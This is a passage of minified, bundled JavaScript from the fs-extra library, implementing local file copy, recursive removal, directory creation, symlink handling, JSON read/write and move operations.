preserveTimestamps option in 32-bit node is not recommended; see https://github.com/jprichardson/node-fs-extra/issues/269`,"Warning","fs-extra-WARN0001");suA.checkPaths(A,K,"copy",q,(z,w)=>{if(z)return Y(z);let{srcStat:H,destStat:J}=w;suA.checkParentPaths(A,H,K,"copy",(O)=>{if(O)return Y(O);if(q.filter)return qO7(AO7,J,A,K,q,Y);return AO7(J,A,K,q,Y)})})}function AO7(A,K,q,Y,z){let w=auA.dirname(q);WMY(w,(H,J)=>{if(H)return z(H);if(J)return jX1(A,K,q,Y,z);ZMY(w,(O)=>{if(O)return z(O);return jX1(A,K,q,Y,z)})})}function qO7(A,K,q,Y,z,w){Promise.resolve(z.filter(q,Y)).then((H)=>{if(H)return A(K,q,Y,z,w);return w()},(H)=>w(H))}function MMY(A,K,q,Y,z){if(Y.filter)return qO7(jX1,A,K,q,Y,z);return jX1(A,K,q,Y,z)}function jX1(A,K,q,Y,z){(Y.dereference?Wf.stat:Wf.lstat)(K,(H,J)=>{if(H)return z(H);if(J.isDirectory())return EMY(J,A,K,q,Y,z);else if(J.isFile()||J.isCharacterDevice()||J.isBlockDevice())return PMY(J,A,K,q,Y,z);else if(J.isSymbolicLink())return LMY(A,K,q,Y,z);else if(J.isSocket())return z(Error(`Cannot copy a socket file: ${K}`));else if(J.isFIFO())return z(Error(`Cannot copy a FIFO pipe: ${K}`));return z(Error(`Unknown file: ${K}`))})}function PMY(A,K,q,Y,z,w){if(!K)return YO7(A,q,Y,z,w);return VMY(A,q,Y,z,w)}function VMY(A,K,q,Y,z){if(Y.overwrite)Wf.unlink(q,(w)=>{if(w)return z(w);return YO7(A,K,q,Y,z)});else if(Y.errorOnExist)return z(Error(`'${q}' already exists`));else return z()}function YO7(A,K,q,Y,z){Wf.copyFile(K,q,(w)=>{if(w)return z(w);if(Y.preserveTimestamps)return fMY(A.mode,K,q,z);return MX1(q,A.mode,z)})}function fMY(A,K,q,Y){if(NMY(A))return TMY(q,A,(z)=>{if(z)return Y(z);return KO7(A,K,q,Y)});return KO7(A,K,q,Y)}function NMY(A){return(A&128)===0}function TMY(A,K,q){return MX1(A,K|128,q)}function KO7(A,K,q,Y){vMY(K,q,(z)=>{if(z)return Y(z);return MX1(q,A,Y)})}function MX1(A,K,q){return Wf.chmod(A,K,q)}function vMY(A,K,q){Wf.stat(A,(Y,z)=>{if(Y)return q(Y);return DMY(K,z.atime,z.mtime,q)})}function EMY(A,K,q,Y,z,w){if(!K)return kMY(A.mode,q,Y,z,w);return zO7(q,Y,z,w)}function kMY(A,K,q,Y,z){Wf.mkdir(q,(w)=>{if(w)return z(w);zO7(K,q,Y,(H)=>{if(H)return z(H);return MX1(q,A,z)})})}function zO7(A,K,q,Y){Wf.readdir(A,(z,w)=>{if(z)return Y(z);return wO7(w,A,K,q,Y)})}function wO7(A,K,q,Y,z){let w=A.pop();if(!w)return z();return CMY(A,w,K,q,Y,z)}function CMY(A,K,q,Y,z,w){let H=auA.join(q,K),J=auA.join(Y,K);suA.checkPaths(H,J,"copy",z,(O,X)=>{if(O)return w(O);let{destStat:$}=X;MMY($,H,J,z,(_)=>{if(_)return w(_);return wO7(A,q,Y,z,w)})})}function LMY(A,K,q,Y,z){Wf.readlink(K,(w,H)=>{if(w)return z(w);if(Y.dereference)H=auA.resolve(process.cwd(),H);if(!A)return Wf.symlink(H,q,z);else Wf.readlink(q,(J,O)=>{if(J){if(J.code==="EINVAL"||J.code==="UNKNOWN")return Wf.symlink(H,q,z);return z(J)}if(Y.dereference)O=auA.resolve(process.cwd(),O);if(suA.isSrcSubdir(H,O))return z(Error(`Cannot copy '${H}' to a subdirectory of itself, '${O}'.`));if(A.isDirectory()&&suA.isSrcSubdir(O,H))return z(Error(`Cannot overwrite '${O}' with '${H}'.`));return RMY(H,q,z)})})}function RMY(A,K,q){Wf.unlink(K,(Y)=>{if(Y)return q(Y);return Wf.symlink(A,K,q)})}HO7.exports=jMY});var GO7=v((e6H,_O7)=>{var cD=I2(),tuA=CA("path"),yMY=yI().mkdirsSync,IMY=HD6().utimesMillisSync,euA=VqA();function SMY(A,K,q){if(typeof q==="function")q={filter:q};if(q=q||{},q.clobber="clobber"in q?!!q.clobber:!0,q.overwrite="overwrite"in q?!!q.overwrite:q.clobber,q.preserveTimestamps&&process.arch==="ia32")process.emitWarning(`Using the preserveTimestamps option in 32-bit node is not recommended; see https://github.com/jprichardson/node-fs-extra/issues/269`,"Warning","fs-extra-WARN0002");let{srcStat:Y,destStat:z}=euA.checkPathsSync(A,K,"copy",q);return euA.checkParentPathsSync(A,Y,K,"copy"),hMY(z,A,K,q)}function hMY(A,K,q,Y){if(Y.filter&&!Y.filter(K,q))return;let z=tuA.dirname(q);if(!cD.existsSync(z))yMY(z);return OO7(A,K,q,Y)}function bMY(A,K,q,Y){if(Y.filter&&!Y.filter(K,q))return;return OO7(A,K,q,Y)}function OO7(A,K,q,Y){let w=(Y.dereference?cD.statSync:cD.lstatSync)(K);if(w.isDirectory())return QMY(w,A,K,q,Y);else if(w.isFile()||w.isCharacterDevice()||w.isBlockDevice())return xMY(w,A,K,q,Y);else if(w.isSymbolicLink())return dMY(A,K,q,Y);else if(w.isSocket())throw Error(`Cannot copy a socket file: ${K}`);else if(w.isFIFO())throw Error(`Cannot copy a FIFO pipe: ${K}`);throw Error(`Unknown file: ${K}`)}function xMY(A,K,q,Y,z){if(!K)return XO7(A,q,Y,z);return uMY(A,q,Y,z)}function uMY(A,K,q,Y){if(Y.overwrite)return cD.unlinkSync(q),XO7(A,K,q,Y);else if(Y.errorOnExist)throw Error(`'${q}' already exists`)}function XO7(A,K,q,Y){if(cD.copyFileSync(K,q),Y.preserveTimestamps)BMY(A.mode,K,q);return OD6(q,A.mode)}function BMY(A,K,q){if(mMY(A))gMY(q,A);return FMY(K,q)}function mMY(A){return(A&128)===0}function gMY(A,K){return OD6(A,K|128)}function OD6(A,K){return cD.chmodSync(A,K)}function FMY(A,K){let q=cD.statSync(A);return IMY(K,q.atime,q.mtime)}function QMY(A,K,q,Y,z){if(!K)return UMY(A.mode,q,Y,z);return $O7(q,Y,z)}function UMY(A,K,q,Y){return cD.mkdirSync(q),$O7(K,q,Y),OD6(q,A)}function $O7(A,K,q){cD.readdirSync(A).forEach((Y)=>pMY(Y,A,K,q))}function pMY(A,K,q,Y){let z=tuA.join(K,A),w=tuA.join(q,A),{destStat:H}=euA.checkPathsSync(z,w,"copy",Y);return bMY(H,z,w,Y)}function dMY(A,K,q,Y){let z=cD.readlinkSync(K);if(Y.dereference)z=tuA.resolve(process.cwd(),z);if(!A)return cD.symlinkSync(z,q);else{let w;try{w=cD.readlinkSync(q)}catch(H){if(H.code==="EINVAL"||H.code==="UNKNOWN")return cD.symlinkSync(z,q);throw H}if(Y.dereference)w=tuA.resolve(process.cwd(),w);if(euA.isSrcSubdir(z,w))throw Error(`Cannot copy '${z}' to a subdirectory of itself, '${w}'.`);if(cD.statSync(q).isDirectory()&&euA.isSrcSubdir(w,z))throw Error(`Cannot overwrite '${w}' with '${z}'.`);return cMY(z,q)}}function cMY(A,K){return cD.unlinkSync(K),cD.symlinkSync(A,K)}_O7.exports=SMY});var PX1=v((A8H,ZO7)=>{var lMY=HH().fromCallback;ZO7.exports={copy:lMY(JO7()),copySync:GO7()}});var TO7=v((K8H,NO7)=>{var WO7=I2(),PO7=CA("path"),Nw=CA("assert"),ABA=process.platform==="win32";function VO7(A){["unlink","chmod","stat","lstat","rmdir","readdir"].forEach((q)=>{A[q]=A[q]||WO7[q],q=q+"Sync",A[q]=A[q]||WO7[q]}),A.maxBusyTries=A.maxBusyTries||3}function XD6(A,K,q){let Y=0;if(typeof K==="function")q=K,K={};Nw(A,"rimraf: missing path"),Nw.strictEqual(typeof A,"string","rimraf: path should be a string"),Nw.strictEqual(typeof q,"function","rimraf: callback function required"),Nw(K,"rimraf: invalid options argument provided"),Nw.strictEqual(typeof K,"object","rimraf: options should be object"),VO7(K),DO7(A,K,function z(w){if(w){if((w.code==="EBUSY"||w.code==="ENOTEMPTY"||w.code==="EPERM")&&Y<K.maxBusyTries){Y++;let H=Y*100;return setTimeout(()=>DO7(A,K,z),H)}if(w.code==="ENOENT")w=null}q(w)})}function DO7(A,K,q){Nw(A),Nw(K),Nw(typeof q==="function"),K.lstat(A,(Y,z)=>{if(Y&&Y.code==="ENOENT")return q(null);if(Y&&Y.code==="EPERM"&&ABA)return jO7(A,K,Y,q);if(z&&z.isDirectory())return VX1(A,K,Y,q);K.unlink(A,(w)=>{if(w){if(w.code==="ENOENT")return q(null);if(w.code==="EPERM")return ABA?jO7(A,K,w,q):VX1(A,K,w,q);if(w.code==="EISDIR")return VX1(A,K,w,q)}return q(w)})})}function jO7(A,K,q,Y){Nw(A),Nw(K),Nw(typeof Y==="function"),K.chmod(A,438,(z)=>{if(z)Y(z.code==="ENOENT"?null:q);else K.stat(A,(w,H)=>{if(w)Y(w.code==="ENOENT"?null:q);else if(H.isDirectory())VX1(A,K,q,Y);else K.unlink(A,Y)})})}function MO7(A,K,q){let Y;Nw(A),Nw(K);try{K.chmodSync(A,438)}catch(z){if(z.code==="ENOENT")return;else throw q}try{Y=K.statSync(A)}catch(z){if(z.code==="ENOENT")return;else throw q}if(Y.isDirectory())fX1(A,K,q);else K.unlinkSync(A)}function VX1(A,K,q,Y){Nw(A),Nw(K),Nw(typeof Y==="function"),K.rmdir(A,(z)=>{if(z&&(z.code==="ENOTEMPTY"||z.code==="EEXIST"||z.code==="EPERM"))iMY(A,K,Y);else if(z&&z.code==="ENOTDIR")Y(q);else Y(z)})}function iMY(A,K,q){Nw(A),Nw(K),Nw(typeof q==="function"),K.readdir(A,(Y,z)=>{if(Y)return q(Y);let w=z.length,H;if(w===0)return K.rmdir(A,q);z.forEach((J)=>{XD6(PO7.join(A,J),K,(O)=>{if(H)return;if(O)return q(H=O);if(--w===0)K.rmdir(A,q)})})})}function fO7(A,K){let q;K=K||{},VO7(K),Nw(A,"rimraf: missing path"),Nw.strictEqual(typeof A,"string","rimraf: path should be a string"),Nw(K,"rimraf: missing options"),Nw.strictEqual(typeof K,"object","rimraf: options should be object");try{q=K.lstatSync(A)}catch(Y){if(Y.code==="ENOENT")return;if(Y.code==="EPERM"&&ABA)MO7(A,K,Y)}try{if(q&&q.isDirectory())fX1(A,K,null);else K.unlinkSync(A)}catch(Y){if(Y.code==="ENOENT")return;else if(Y.code==="EPERM")return ABA?MO7(A,K,Y):fX1(A,K,Y);else if(Y.code!=="EISDIR")throw Y;fX1(A,K,Y)}}function fX1(A,K,q){Nw(A),Nw(K);try{K.rmdirSync(A)}catch(Y){if(Y.code==="ENOTDIR")throw q;else if(Y.code==="ENOTEMPTY"||Y.code==="EEXIST"||Y.code==="EPERM")nMY(A,K);else if(Y.code!=="ENOENT")throw Y}}function nMY(A,K){if(Nw(A),Nw(K),K.readdirSync(A).forEach((q)=>fO7(PO7.join(A,q),K)),ABA){let q=Date.now();do try{return K.rmdirSync(A,K)}catch{}while(Date.now()-q<500)}else return K.rmdirSync(A,K)}NO7.exports=XD6;XD6.sync=fO7});var KBA=v((q8H,EO7)=>{var NX1=I2(),rMY=HH().fromCallback,vO7=TO7();function oMY(A,K){if(NX1.rm)return NX1.rm(A,{recursive:!0,force:!0},K);vO7(A,K)}function aMY(A){if(NX1.rmSync)return NX1.rmSync(A,{recursive:!0,force:!0});vO7.sync(A)}EO7.exports={remove:rMY(oMY),removeSync:aMY}});var hO7=v((Y8H,SO7)=>{var sMY=HH().fromPromise,LO7=PqA(),RO7=CA("path"),yO7=yI(),IO7=KBA(),kO7=sMY(async function(K){let q;try{q=await LO7.readdir(K)}catch{return yO7.mkdirs(K)}return Promise.all(q.map((Y)=>IO7.remove(RO7.join(K,Y))))});function CO7(A){let K;try{K=LO7.readdirSync(A)}catch{return yO7.mkdirsSync(A)}K.forEach((q)=>{q=RO7.join(A,q),IO7.removeSync(q)})}SO7.exports={emptyDirSync:CO7,emptydirSync:CO7,emptyDir:kO7,emptydir:kO7}});var BO7=v((z8H,uO7)=>{var tMY=HH().fromCallback,bO7=CA("path"),fa=I2(),xO7=yI();function eMY(A,K){function q(){fa.writeFile(A,"",(Y)=>{if(Y)return K(Y);K()})}fa.stat(A,(Y,z)=>{if(!Y&&z.isFile())return K();let w=bO7.dirname(A);fa.stat(w,(H,J)=>{if(H){if(H.code==="ENOENT")return xO7.mkdirs(w,(O)=>{if(O)return K(O);q()});return K(H)}if(J.isDirectory())q();else fa.readdir(w,(O)=>{if(O)return K(O)})})})}function APY(A){let K;try{K=fa.statSync(A)}catch{}if(K&&K.isFile())return;let q=bO7.dirname(A);try{if(!fa.statSync(q).isDirectory())fa.readdirSync(q)}catch(Y){if(Y&&Y.code==="ENOENT")xO7.mkdirsSync(q);else throw Y}fa.writeFileSync(A,"")}uO7.exports={createFile:tMY(eMY),createFileSync:APY}});var UO7=v((w8H,QO7)=>{var KPY=HH().fromCallback,mO7=CA("path"),Na=I2(),gO7=yI(),qPY=Va().pathExists,{areIdentical:FO7}=VqA();function YPY(A,K,q){function Y(z,w){Na.link(z,w,(H)=>{if(H)return q(H);q(null)})}Na.lstat(K,(z,w)=>{Na.lstat(A,(H,J)=>{if(H)return H.message=H.message.replace("lstat","ensureLink"),q(H);if(w&&FO7(J,w))return q(null);let O=mO7.dirname(K);qPY(O,(X,$)=>{if(X)return q(X);if($)return Y(A,K);gO7.mkdirs(O,(_)=>{if(_)return q(_);Y(A,K)})})})})}function zPY(A,K){let q;try{q=Na.lstatSync(K)}catch{}try{let w=Na.lstatSync(A);if(q&&FO7(w,q))return}catch(w){throw w.message=w.message.replace("lstat","ensureLink"),w}let Y=mO7.dirname(K);if(Na.existsSync(Y))return Na.linkSync(A,K);return gO7.mkdirsSync(Y),Na.linkSync(A,K)}QO7.exports={createLink:KPY(YPY),createLinkSync:zPY}});var dO7=v((H8H,pO7)=>{var Ta=CA("path"),qBA=I2(),wPY=Va().pathExists;function HPY(A,K,q){if(Ta.isAbsolute(A))return qBA.lstat(A,(Y)=>{if(Y)return Y.message=Y.message.replace("lstat","ensureSymlink"),q(Y);return q(null,{toCwd:A,toDst:A})});else{let Y=Ta.dirname(K),z=Ta.join(Y,A);return wPY(z,(w,H)=>{if(w)return q(w);if(H)return q(null,{toCwd:z,toDst:A});else return qBA.lstat(A,(J)=>{if(J)return J.message=J.message.replace("lstat","ensureSymlink"),q(J);return q(null,{toCwd:A,toDst:Ta.relative(Y,A)})})})}}function JPY(A,K){let q;if(Ta.isAbsolute(A)){if(q=qBA.existsSync(A),!q)throw Error("absolute srcpath does not exist");return{toCwd:A,toDst:A}}else{let Y=Ta.dirname(K),z=Ta.join(Y,A);if(q=qBA.existsSync(z),q)return{toCwd:z,toDst:A};else{if(q=qBA.existsSync(A),!q)throw Error("relative srcpath does not exist");return{toCwd:A,toDst:Ta.relative(Y,A)}}}}pO7.exports={symlinkPaths:HPY,symlinkPathsSync:JPY}});var iO7=v((J8H,lO7)=>{var cO7=I2();function OPY(A,K,q){if(q=typeof K==="function"?K:q,K=typeof K==="function"?!1:K,K)return q(null,K);cO7.lstat(A,(Y,z)=>{if(Y)return q(null,"file");K=z&&z.isDirectory()?"dir":"file",q(null,K)})}function XPY(A,K){let q;if(K)return K;try{q=cO7.lstatSync(A)}catch{return"file"}return q&&q.isDirectory()?"dir":"file"}lO7.exports={symlinkType:OPY,symlinkTypeSync:XPY}});var A07=v((O8H,eO7)=>{var $PY=HH().fromCallback,rO7=CA("path"),II=PqA(),oO7=yI(),_PY=oO7.mkdirs,GPY=oO7.mkdirsSync,aO7=dO7(),ZPY=aO7.symlinkPaths,WPY=aO7.symlinkPathsSync,sO7=iO7(),DPY=sO7.symlinkType,jPY=sO7.symlinkTypeSync,MPY=Va().pathExists,{areIdentical:tO7}=VqA();function PPY(A,K,q,Y){Y=typeof q==="function"?q:Y,q=typeof q==="function"?!1:q,II.lstat(K,(z,w)=>{if(!z&&w.isSymbolicLink())Promise.all([II.stat(A),II.stat(K)]).then(([H,J])=>{if(tO7(H,J))return Y(null);nO7(A,K,q,Y)});else nO7(A,K,q,Y)})}function nO7(A,K,q,Y){ZPY(A,K,(z,w)=>{if(z)return Y(z);A=w.toDst,DPY(w.toCwd,q,(H,J)=>{if(H)return Y(H);let O=rO7.dirname(K);MPY(O,(X,$)=>{if(X)return Y(X);if($)return II.symlink(A,K,J,Y);_PY(O,(_)=>{if(_)return Y(_);II.symlink(A,K,J,Y)})})})})}function VPY(A,K,q){let Y;try{Y=II.lstatSync(K)}catch{}if(Y&&Y.isSymbolicLink()){let J=II.statSync(A),O=II.statSync(K);if(tO7(J,O))return}let z=WPY(A,K);A=z.toDst,q=jPY(z.toCwd,q);let w=rO7.dirname(K);if(II.existsSync(w))return II.symlinkSync(A,K,q);return GPY(w),II.symlinkSync(A,K,q)}eO7.exports={createSymlink:$PY(PPY),createSymlinkSync:VPY}});var O07=v((X8H,J07)=>{var{createFile:K07,createFileSync:q07}=BO7(),{createLink:Y07,createLinkSync:z07}=UO7(),{createSymlink:w07,createSymlinkSync:H07}=A07();J07.exports={createFile:K07,createFileSync:q07,ensureFile:K07,ensureFileSync:q07,createLink:Y07,createLinkSync:z07,ensureLink:Y07,ensureLinkSync:z07,createSymlink:w07,createSymlinkSync:H07,ensureSymlink:w07,ensureSymlinkSync:H07}});var fZA=v(($8H,X07)=>{function fPY(A,{EOL:K=` `,finalEOL:q=!0,replacer:Y=null,spaces:z}={}){let w=q?K:"";return JSON.stringify(A,Y,z).replace(/\n/g,K)+w}function NPY(A){if(Buffer.isBuffer(A))A=A.toString("utf8");return A.replace(/^\uFEFF/,"")}X07.exports={stringify:fPY,stripBom:NPY}});var $D6=v((_8H,G07)=>{var NZA;try{NZA=I2()}catch(A){NZA=CA("fs")}var TX1=HH(),{stringify:$07,stripBom:_07}=fZA();async function TPY(A,K={}){if(typeof K==="string")K={encoding:K};let q=K.fs||NZA,Y="throws"in K?K.throws:!0,z=await TX1.fromCallback(q.readFile)(A,K);z=_07(z);let w;try{w=JSON.parse(z,K?K.reviver:null)}catch(H){if(Y)throw H.message=`${A}: ${H.message}`,H;else return null}return w}var vPY=TX1.fromPromise(TPY);function EPY(A,K={}){if(typeof K==="string")K={encoding:K};let q=K.fs||NZA,Y="throws"in K?K.throws:!0;try{let z=q.readFileSync(A,K);return z=_07(z),JSON.parse(z,K.reviver)}catch(z){if(Y)throw z.message=`${A}: ${z.message}`,z;else return null}}async function kPY(A,K,q={}){let Y=q.fs||NZA,z=$07(K,q);await TX1.fromCallback(Y.writeFile)(A,z,q)}var CPY=TX1.fromPromise(kPY);function LPY(A,K,q={}){let Y=q.fs||NZA,z=$07(K,q);return Y.writeFileSync(A,z,q)}var RPY={readFile:vPY,readFileSync:EPY,writeFile:CPY,writeFileSync:LPY};G07.exports=RPY});var W07=v((G8H,Z07)=>{var vX1=$D6();Z07.exports={readJson:vX1.readFile,readJsonSync:vX1.readFileSync,writeJson:vX1.writeFile,writeJsonSync:vX1.writeFileSync}});var EX1=v((Z8H,M07)=>{var yPY=HH().fromCallback,YBA=I2(),D07=CA("path"),j07=yI(),IPY=Va().pathExists;function SPY(A,K,q,Y){if(typeof q==="function")Y=q,q="utf8";let z=D07.dirname(A);IPY(z,(w,H)=>{if(w)return Y(w);if(H)return YBA.writeFile(A,K,q,Y);j07.mkdirs(z,(J)=>{if(J)return Y(J);YBA.writeFile(A,K,q,Y)})})}function hPY(A,...K){let q=D07.dirname(A);if(YBA.existsSync(q))return YBA.writeFileSync(A,...K);j07.mkdirsSync(q),YBA.writeFileSync(A,...K)}M07.exports={outputFile:yPY(SPY),outputFileSync:hPY}});var V07=v((W8H,P07)=>{var{stringify:bPY}=fZA(),{outputFile:xPY}=EX1();async function uPY(A,K,q={}){let Y=bPY(K,q);await xPY(A,Y,q)}P07.exports=uPY});var N07=v((D8H,f07)=>{var{stringify:BPY}=fZA(),{outputFileSync:mPY}=EX1();function gPY(A,K,q){let Y=BPY(K,q);mPY(A,Y,q)}f07.exports=gPY});var v07=v((j8H,T07)=>{var FPY=HH().fromPromise,QM=W07();QM.outputJson=FPY(V07());QM.outputJsonSync=N07();QM.outputJSON=QM.outputJson;QM.outputJSONSync=QM.outputJsonSync;QM.writeJSON=QM.writeJson;QM.writeJSONSync=QM.writeJsonSync;QM.readJSON=QM.readJson;QM.readJSONSync=QM.readJsonSync;T07.exports=QM});var R07=v((M8H,L07)=>{var QPY=I2(),GD6=CA("path"),UPY=PX1().copy,C07=KBA().remove,pPY=yI().mkdirp,dPY=Va().pathExists,E07=VqA();function cPY(A,K,q,Y){if(typeof q==="function")Y=q,q={};q=q||{};let z=q.overwrite||q.clobber||!1;E07.checkPaths(A,K,"move",q,(w,H)=>{if(w)return Y(w);let{srcStat:J,isChangingCase:O=!1}=H;E07.checkParentPaths(A,J,K,"move",(X)=>{if(X)return Y(X);if(lPY(K))return k07(A,K,z,O,Y);pPY(GD6.dirname(K),($)=>{if($)return Y($);return k07(A,K,z,O,Y)})})})}function lPY(A){let K=GD6.dirname(A);return GD6.parse(K).root===K}function k07(A,K,q,Y,z){if(Y)return _D6(A,K,q,z);if(q)return C07(K,(w)=>{if(w)return z(w);return _D6(A,K,q,z)});dPY(K,(w,H)=>{if(w)return z(w);if(H)return z(Error("dest already exists."));return _D6(A,K,q,z)})}function _D6(A,K,q,Y){QPY.rename(A,K,(z)=>{if(!z)return Y();if(z.code!=="EXDEV")return Y(z);return iPY(A,K,q,Y)})}function iPY(A,K,q,Y){UPY(A,K,{overwrite:q,errorOnExist:!0},(w)=>{if(w)return Y(w);return C07(A,Y)})}L07.exports=cPY});var b07=v((P8H,h07)=>{var I07=I2(),WD6=CA("path"),nPY=PX1().copySync,S07=KBA().removeSync,rPY=yI().mkdirpSync,y07=VqA();function oPY(A,K,q){q=q||{};let Y=q.overwrite||q.clobber||!1,{srcStat:z,isChangingCase:w=!1}=y07.checkPathsSync(A,K,"move",q);if(y07.checkParentPathsSync(A,z,K,"move"),!aPY(K))rPY(WD6.dirname(K));return sPY(A,K,Y,w)}function aPY(A){let K=WD6.dirname(A);return WD6.parse(K).root===K}function sPY(A,K,q,Y){if(Y)return ZD6(A,K,q);if(q)return S07(K),ZD6(A,K,q);if(I07.existsSync(K))throw Error("dest already exists.");return ZD6(A,K,q)}function ZD6(A,K,q){try{I07.renameSync(A,K)}catch(Y){if(Y.code!=="EXDEV")throw Y;return tPY(A,K,q)}}function tPY(A,K,q){return nPY(A,K,{overwrite:q,errorOnExist:!0}),S07(A)}h07.exports=oPY});var u07=v((V8H,x07)=>{var ePY=HH().fromCallback;x07.exports={move:ePY(R07()),moveSync:b07()}});var m07=v((f8H,B07)=>{B07.exports={...PqA(),...PX1(),...hO7(),...O07(),...v07(),...yI(),...u07(),...EX1(),...Va(),...KBA()}});var fqA=v((DD6)=>{var g07=HH().fromCallback,Df=I2(),AVY=["access","appendFile","chmod","chown","close","copyFile","fchmod","fchown","fdatasync","fstat","fsync","ftruncate","futimes","lchmod","lchown","link","lstat","mkdir","mkdtemp","open","opendir","readdir","readFile","readlink","realpath","rename","rm","rmdir","stat","symlink","truncate","unlink","utimes","writeFile"].filter((A)=>{return typeof Df[A]==="function"});Object.assign(DD6,Df);AVY.forEach((A)=>{DD6[A]=g07(Df[A])});DD6.exists=function(A,K){if(typeof K==="function")return Df.exists(A,K);return new Promise((q)=>{return Df.exists(A,q)})};DD6.read=function(A,K,q,Y,z,w){if(typeof w==="function")return Df.read(A,K,q,Y,z,w);return new Promise((H,J)=>{Df.read(A,K,q,Y,z,(O,X,$)=>{if(O)return J(O);H({bytesRead:X,buffer:$})})})};DD6.write=function(A,K,...q){if(typeof q[q.length-1]==="function")return Df.write(A,K,...q);return new Promise((Y,z)=>{Df.write(A,K,...q,(w,H,J)=>{if(w)return z(w);Y({bytesWritten:H,buffer:J})})})};if(typeof Df.writev==="function")DD6.writev=function(A,K,...q){if(typeof q[q.length-1]==="function")return Df.writev(A,K,...q);return new Promise((Y,z)=>{Df.writev(A,K,...q,(w,H,J)=>{if(w)return z(w);Y({bytesWritten:H,buffers:J})})})};if(typeof Df.realpath.native==="function")DD6.realpath.native=g07(Df.realpath.native);else process.emitWarning("fs.realpath.native is not a function. Is fs being monkey-patched?","Warning","fs-extra-WARN0003")});var Q07=v((wVY,F07)=>{var zVY=CA("path");wVY.checkPath=function(K){if(process.platform==="win32"){if(/[<>:"|?*]/.test(K.replace(zVY.parse(K).root,""))){let Y=Error(`Path contains invalid characters: ${K}`);throw Y.code="EINVAL",Y}}}});var c07=v((JVY,jD6)=>{var U07=fqA(),{checkPath:p07}=Q07(),d07=(A)=>{let K={mode:511};if(typeof A==="number")return A;return{...K,...A}.mode};JVY.makeDir=async(A,K)=>{return p07(A),U07.mkdir(A,{mode:d07(K),recursive:!0})};JVY.makeDirSync=(A,K)=>{return p07(A),U07.mkdirSync(A,{mode:d07(K),recursive:!0})}});var SI=v((E8H,l07)=>{var $VY=HH().fromPromise,{makeDir:_VY,makeDirSync:MD6}=c07(),PD6=$VY(_VY);l07.exports={mkdirs:PD6,mkdirsSync:MD6,mkdirp:PD6,mkdirpSync:MD6,ensureDir:PD6,ensureDirSync:MD6}});var va=v((k8H,n07)=>{var GVY=HH().fromPromise,i07=fqA();function ZVY(A){return i07.access(A).then(()=>!0).catch(()=>!1)}n07.exports={pathExists:GVY(ZVY),pathExistsSync:i07.existsSync}});var VD6=v((C8H,r07)=>{var TZA=I2();function WVY(A,K,q,Y){TZA.open(A,"r+",(z,w)=>{if(z)return Y(z);TZA.futimes(w,K,q,(H)=>{TZA.close(w,(J)=>{if(Y)Y(H||J)})})})}function DVY(A,K,q){let Y=TZA.openSync(A,"r+");return TZA.futimesSync(Y,K,q),TZA.closeSync(Y)}r07.exports={utimesMillis:WVY,utimesMillisSync:DVY}});var NqA=v((L8H,s07)=>{var vZA=fqA(),kG=CA("path"),jVY=CA("util");function MVY(A,K,q){let Y=q.dereference?(z)=>vZA.stat(z,{bigint:!0}):(z)=>vZA.lstat(z,{bigint:!0});return Promise.all([Y(A),Y(K).catch((z)=>{if(z.code==="ENOENT")return null;throw z})]).then(([z,w])=>({srcStat:z,destStat:w}))}function PVY(A,K,q){let Y,z=q.dereference?(H)=>vZA.statSync(H,{bigint:!0}):(H)=>vZA.lstatSync(H,{bigint:!0}),w=z(A);try{Y=z(K)}catch(H){if(H.code==="ENOENT")return{srcStat:w,destStat:null};throw H}return{srcStat:w,destStat:Y}}function VVY(A,K,q,Y,z){jVY.callbackify(MVY)(A,K,Y,(w,H)=>{if(w)return z(w);let{srcStat:J,destStat:O}=H;if(O){if(zBA(J,O)){let X=kG.basename(A),$=kG.basename(K);if(q==="move"&&X!==$&&X.toLowerCase()===$.toLowerCase())return z(null,{srcStat:J,destStat:O,isChangingCase:!0});return z(Error("Source and destination must not be the same."))}if(J.isDirectory()&&!O.isDirectory())return z(Error(`Cannot overwrite non-directory '${K}' with directory '${A}'.`));if(!J.isDirectory()&&O.isDirectory())return z(Error(`Cannot overwrite directory '${K}' with non-directory '${A}'.`))}if(J.isDirectory()&&fD6(A,K))return z(Error(kX1(A,K,q)));return z(null,{srcStat:J,destStat:O})})}function fVY(A,K,q,Y){let{srcStat:z,destStat:w}=PVY(A,K,Y);if(w){if(zBA(z,w)){let H=kG.basename(A),J=kG.basename(K);if(q==="move"&&H!==J&&H.toLowerCase()===J.toLowerCase())return{srcStat:z,destStat:w,isChangingCase:!0};throw Error("Source and destination must not be the same.")}if(z.isDirectory()&&!w.isDirectory())throw Error(`Cannot overwrite non-directory '${K}' with directory '${A}'.`);if(!z.isDirectory()&&w.isDirectory())throw Error(`Cannot overwrite directory '${K}' with non-directory '${A}'.`)}if(z.isDirectory()&&fD6(A,K))throw Error(kX1(A,K,q));return{srcStat:z,destStat:w}}function o07(A,K,q,Y,z){let w=kG.resolve(kG.dirname(A)),H=kG.resolve(kG.dirname(q));if(H===w||H===kG.parse(H).root)return z();vZA.stat(H,{bigint:!0},(J,O)=>{if(J){if(J.code==="ENOENT")return z();return z(J)}if(zBA(K,O))return z(Error(kX1(A,q,Y)));return o07(A,K,H,Y,z)})}function a07(A,K,q,Y){let z=kG.resolve(kG.dirname(A)),w=kG.resolve(kG.dirname(q));if(w===z||w===kG.parse(w).root)return;let H;try{H=vZA.statSync(w,{bigint:!0})}catch(J){if(J.code==="ENOENT")return;throw J}if(zBA(K,H))throw Error(kX1(A,q,Y));return a07(A,K,w,Y)}function zBA(A,K){return K.ino&&K.dev&&K.ino===A.ino&&K.dev===A.dev}function fD6(A,K){let q=kG.resolve(A).split(kG.sep).filter((z)=>z),Y=kG.resolve(K).split(kG.sep).filter((z)=>z);return q.reduce((z,w,H)=>z&&Y[H]===w,!0)}function kX1(A,K,q){return`Cannot ${q} '${A}' to a subdirectory of itself, '${K}'.`}s07.exports={checkPaths:VVY,checkPathsSync:fVY,checkParentPaths:o07,checkParentPathsSync:a07,isSrcSubdir:fD6,areIdentical:zBA}});var wX7=v((R8H,zX7)=>{var jf=I2(),wBA=CA("path"),NVY=SI().mkdirs,TVY=va().pathExists,vVY=VD6().utimesMillis,HBA=NqA();function EVY(A,K,q,Y){if(typeof q==="function"&&!Y)Y=q,q={};else if(typeof q==="function")q={filter:q};if(Y=Y||function(){},q=q||{},q.clobber="clobber"in q?!!q.clobber:!0,q.overwrite="overwrite"in q?!!q.overwrite:q.clobber,q.preserveTimestamps&&process.arch==="ia32")process.emitWarning(`Using the preserveTimestamps option in 32-bit node is not recommended; see https://github.com/jprichardson/node-fs-extra/issues/269`,"Warning","fs-extra-WARN0001");HBA.checkPaths(A,K,"copy",q,(z,w)=>{if(z)return 